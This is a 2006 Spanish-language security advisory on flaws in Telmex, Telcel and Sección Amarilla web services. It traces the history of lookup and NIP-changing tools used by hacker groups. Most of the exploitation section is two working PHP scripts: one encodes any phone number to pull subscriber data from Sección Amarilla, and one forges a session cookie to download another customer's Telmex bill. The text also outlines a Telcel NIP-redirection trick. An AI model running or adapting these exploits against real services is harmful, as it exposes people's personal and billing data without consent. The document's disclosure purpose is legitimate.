Telmex Advisory Bugs
(Telcel, Telmex, Sección Amarrilla) 16-Ago-06

1. Introducción

Telmex, en su unión con prodigy abarcaron toda América latina como uno de los ISP lideres en servicios y telecomunicaciones, recibiendo el crédito por la red mas importante y grande en México de voz y datos, generando miles de empleos, Telmex se puede llamar a si misma la empresa de México en redes y telecomunicaciones.

2. Breve Historia

Los fallos de Telmex se han ido conociendo a partir del año 2004, pero la verdadera historia se remonta a finales del 99, cuando en hakim.ws algunos miembros y mexhackteam conocían ya la versión **0.7 del Call E Tracer**, funcionaba con paginas blancas y no veía números privados, este fallo codeado sencillamente duro poco mas de dos años hasta el año 2001, así mismo en esa época se programo el **Call E tracer 1.0** en donde podías hacer lo mismo e incluso ver números de telcel, y cambiar el nip de telcel de cualquier Telcel **Nip Changer 1.0**, esta época fue la época en que salio al publico, usada en gran parte por miembros de hakim.ws, mexhackteam, themu.org, entre otros el sistema fue hecho publico a mediados del 2001. En ese tiempo se hizo una investigación sobre sección amarilla ya que corrían rumores de que Telmex corregiría sección blanca, además de informes de que sección blanca cerraría se tenia que buscar una alternativa, y así es como nace el **Call E tracer 2.0** funcionando tanto como con sección blanca, como con sección amarilla, en ese mismo año se publica la forma de entrar por medio de recibos Telmex los cuales fueron públicos en septiembre del 2000 que inicio el servicio, el fallo jamás fue revelado mas que a algunas personas.

Para ese entonces el administrador de sección amarilla contacto al equipo de investigación de **hackersoft.net ahora securitynation.com** y pidió su ayuda para el fallo, a lo que se accedió y se ayudo, meses después decidieron que **Blitz** corregiría los errores y despidieron al entonces administrador de sección amarilla por problemas personales. **Blitz** agrego un hasheo javascript y desde ese momento la gente no toco mas sección amarilla ni telcel, a excepción de un tal **saldeahi**, que apareció a finales del 2002 y utiliza esa base de datos.

Para el 2003 se decidió quitar el software del uso del público a lo que quedo de uso asignado a afecciones especiales. Solo algunos conocían la existencia del sistema en privado, el mismo que a finales de 2003 se encontraba en su versión 5.0 y 5.1 para principios de 2004, ahí fue cuando un hacker llamado MegaByte hackeo un sitio con un fallo de cutenews y robo el primer script. Algunos días después fue publicado y casualmente a partir de este evento muchos empezaron a desarrollar sus técnicas, dándole los créditos iniciales a un tal fraude en 2004. En 2005 fluyeron más de 13 programas documentados en línea, y mas adelante siguieron cambiando las técnicas.

Para desgracia la salida del código inicial y la fuga de información (incluyendo el extinto sistema pisa, al exterior), fueron un factor contundente en que todo el mundo conozca los fallos, así que por eso publico esto con la información detallada y con la historia como ha sucedido.

3. Sitios Afectados

http://www.telmex.com - http://www.seccionblanca.com.mx - http://www.seccionamarilla.com.mx

4. Técnicas de Explotación

Existieron muchas y diversas técnicas de explotación, pero solo voy a exponer las más conocidas al respecto:

Sección Blanca

La primer técnica usada, en 2001, fue muy sencilla únicamente era agregar el parámetro TEL= con el numero de teléfono en la cadena del post, y regresaba los datos en ese entonces en un grafico con nombre aleatorio. Telmex corrigió esto después de 8 meses. Seguía estando el parámetro, pero era más difícil inyectar el teléfono.

Sección Amarilla

La primera técnica que se uso en este sitio era la misma de sección blanca, los operadores con la empresa **Blitz** corrigieron esto aumentando una rotación y una matriz de números aleatoria. Fácil de descifrar, la técnica estará mas adelante.

Telcel

En un principio no validaban el envió de tu propio nip, y en la forma se enviaba el mismo numero al cual se mandaba, remplazando el parámetro se conseguía enviarte a ti mismo el nip de quien quisieras, este no cambiaba ni era aleatorio así que fue fácil.

Telmex

Una ves que Telmex puso en línea su servicio de facturación no usaba pdf's en ese entonces así, que solo remplazabas el numero en los parámetros de envió del post de la forma, y listo entrabas a la cuenta de quien quisieras. Esta es la técnica que se ha venido modificando hasta el día de hoy, algunos se complicaron la vida generándose cookies, aunque no es necesario ya que solo se puede usar una cookie en blanco desde el principio, el sistema solo valida la existencia del parámetro, no el contenido.

Prof. Of Concept

Básicamente publicare aquí un código funcional de prueba. Sección amarilla y Telmex. Con algunas modificaciones básicas el código funciona.

ULTIMO ERROR DE SECCION AMARILLA

```
<?
/*************************************************************************
Prueba de Concepto
Luis Alberto Cortes Zavala
*/

class BrowserHackTool { //clase que emula un navegador ie 4.0 }

//Here Starts Our Code. before is only a class.
//ESPECIFICAMOS QUE SI CONTIENE LA VARIABLE TELEFONO EJECUTE LA FUNCION SI NO IMPRIME LA FORMA HTML

if (isset($_GET['tel'])){
facturacion($_GET['tel']);
```

```
}else{printform();}

function printform(){//CODIGO HTML}


//FUNCION QUE CAMBIA Y CREA LA MATRIZ QUE INYECTAMOS EN EL SITIO SECCION AMARILLA COM

function facturacion($num){
if ((!is_numeric($num)) || (strlen($num) != 10) ){echo "<b>EL NUMERO QUE HAS BUSCADO NO ES VALIDO
VERIFICALO</b>"; exit;}

//ESTOS SON LOS CARACTERES POR LOS QUE CMABIAMOS EL NUMERO TELEFONICO

$array[0] = explode(",","38,39,3A,3B,3C,3D,3E,3F,40,41");
$array[1] = explode(",","6B,6C,6D,6E,6F,70,71,72,73,74");
$array[2] = explode(",","61,62,63,64,65,66,67,68,69,6A");
$array[3] = explode(",","4F,50,51,52,53,54,55,56,57,58");
$array[4] = explode(",","66,67,68,69,6A,6B,6C,6D,6E,6F");
$array[5] = explode(",","43,44,45,46,47,48,49,4A,4B,4C");
$array[6] = explode(",","25,26,27,28,29,2A,2B,2C,2D,2E");
$array[7] = explode(",","35,36,37,38,39,3A,3B,3C,3D,3E");
$array[8] = explode(",","3F,40,41,42,43,44,45,46,47,48");
$array[9] = explode(",","55,56,57,58,59,5A,5B,5C,5D,5E");

  for ($i=0;$i<=9;$i++){
        $m = substr($num, $i , 1);
        $arr[$i] =  $array[$i][$m];
}
//UNA VES HECHA LA SUSTITUCION LA PONEMOS EN LA MATRIZ FINAL QUE ES LA SIGUIENTE

$cadena =
$arr[0]."%24%24".$arr[1]."%24%24".$arr[2]."%24%24".$arr[3]."%24%24".$arr[4]."%24%24".$arr[5]."%24%24".
$arr[6]."%24%24".$arr[7]."%24%24".$arr[8]."%24%24".$arr[9]."%24%24";

// AQUI HACEMOS LA PETICION

$hack = new BrowserHackTool();
$url = "http://www.seccionamarilla.com.mx/Resultado_Consulta.asp";
$hack->addHeaderLine("Accept","*/*");
$hack->addHeaderLine("Referrer","http://www.seccionamarilla.com.mx");
$hack->addHeaderLine("Accept-Language","es-mx");
$hack->addHeaderLine("Content-Type","application/x-www-form-urlencoded");
$hack->addHeaderLine("Proxy-Connection","Keep-Alive");
$hack->addHeaderLine("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)");
$hack->addHeaderLine("Host","www.seccionamarilla.com.mx");
$hack->addHeaderLine("Pragma","no-cache");
$hack->addPostData("phone",$cadena);
$file = $hack->fopen($url);
$fd2 = "";
                    do {
                       $data2 = fread($file, 8192);
```

```
                if (strlen($data2) == 0) {
                    break;
                        }
                $fd2 .= $data2;
            } while(true);
            fclose ($file);

        //POR FIN EN LA VARIABLE $FD2 TENEMOS LA PAGINA CON LOS DATOS DEL TELEFONO SOLO HAY QUE PARSEARLA UN POCO.

?>
```

ULTIMO ERROR DE TELMEX

```
<?
/**************************************************************************
Prueba de Concepto
Luis Alberto Cortes Zavala
**************************************************************************/
/*REVISAR FACTURACION CON COOKIE
//http://www.online.telmex.com/cgi-bin/makeCookieOnline?C=000000:0:000000:XXXXXXXXXX
//FUNCIONABA ANTES, NUNCA USADO
*/

class BrowserHackTool {//CLASE DEL NAVEGADOR WEB}

//Here Starts Our Code. before is only a class.
#########################################################

if (isset($_POST['tipo'])){
TELMEX();
        }else{
printform();
}
#########################################################

function telmex(){
$facturacion = facturacion($_POST['tel']);
Print $facturacion
}


function printform(){//IMPRIME LA FORMA }




function facturacion($num){
if (!is_numeric($num)){return ""; EXIT;}
```

```
//VERIFICAMOS SI EL RECIBO YA HA SIDO BAJADO A LOCAL
$tempo = $num."_".date(dmY).".pdf";
if (file_exists("recibos/".$tempo)){return "recibos/".$tempo; exit;}
//DEFINIMOS EL TIEMPO ACRTUAL MENOS 30 DIAS YA QUE LOS RECIBOS SE SUBEN HASTA EL DIA 20
DEL MES
$pf_time = strtotime("-30 days");
$date = date('Ym',$pf_time);
//HACEMOS LA PETICION CON LOS HEADERS CORRECTOS
$hack = new BrowserHackTool();
$urlinit = "http://www.online.telmex.com/mitelmex/descargaRecibo.jsp?T=$num&M=$date";
$hack->addHeaderLine("Accept","*/*");
$hack->addHeaderLine("Referrer","http://www.online.telmex.com/mitelmex/consulta_paga.jsp");
$hack->addHeaderLine("Accept-Language","es-mx");
$hack->addHeaderLine("Proxy-Connection","Keep-Alive");
$hack->addHeaderLine("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)");
$hack->addHeaderLine("Host","www.online.telmex.com");
$user = 'user="000000%3a0%3a000000%3a'.$num.'%3a"';
$hack->addHeaderLine("Cookie",$user);
$file = $hack->fopen($urlinit);
//OBTENEMOS LOS HEADERS DE REPSUESTA
$response = $hack->getLastResponseHeaders();
//TOMAMOS EL LOCATION QUE NOS DA LA URL DEL PDF CREADO
$response = trim(str_replace("Location: ","",$response[5]));
$hack->resetHeaderLines();
//AGREGAMOS LOS HEADERS NECESARIOS
$hack->addHeaderLine("Accept","*/*");
$hack->addHeaderLine("Referrer","http://www.online.telmex.com/mitelmex/consulta_paga.jsp");
$hack->addHeaderLine("Accept-Language","es-mx");
$hack->addHeaderLine("Proxy-Connection","Keep-Alive");
$hack->addHeaderLine("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)");
$hack->addHeaderLine("Host","recibo.telmex.com");
$user = 'user="000000%3a0%3a000000%3a'.$num.'%3a"';
$hack->addHeaderLine("Cookie",$user);
$file = $hack->fopen($response);
$fd2 = "";
                do {
                   $data2 = fread($file, 8192);
                   if (strlen($data2) == 0) {
                      break;
                            }
                   $fd2 .= $data2;
                } while(true);
                fclose ($file);
//LE DAMOS UN NOMBRE AL ARCHIVO
$nombre = $num."_".date(dmY).".pdf";
$handle = fopen("recibos/".$nombre,"w+");
fwrite($handle, $fd2);
fclose($handle);
//REGRESAMOS EL PATH DEL ARCHIVO EN ESTA FUNCION
$return = "recibos/".$nombre;
```

```
return $return;
        }

?>
```

5. Conclusión

Como verán la única falla aquí es permitir que una cuenta valla de un numero a otro sin revisar la sesión constantemente, las peticiones han cambiado mucho a través del tiempo, en ocasiones había que hacer una doble petición una para crear el recibo si no existía y otro para regresarlo, el numero aleatorio que Telmex le da al recibo puede ser cambiado por el numero que uno quisiera para determinar el recibo mas rápido.

Saludos cordiales,

Luis Alberto Cortes Zavala
Security Nation Labs
napa@securitynation.com
http://www.securitynation.com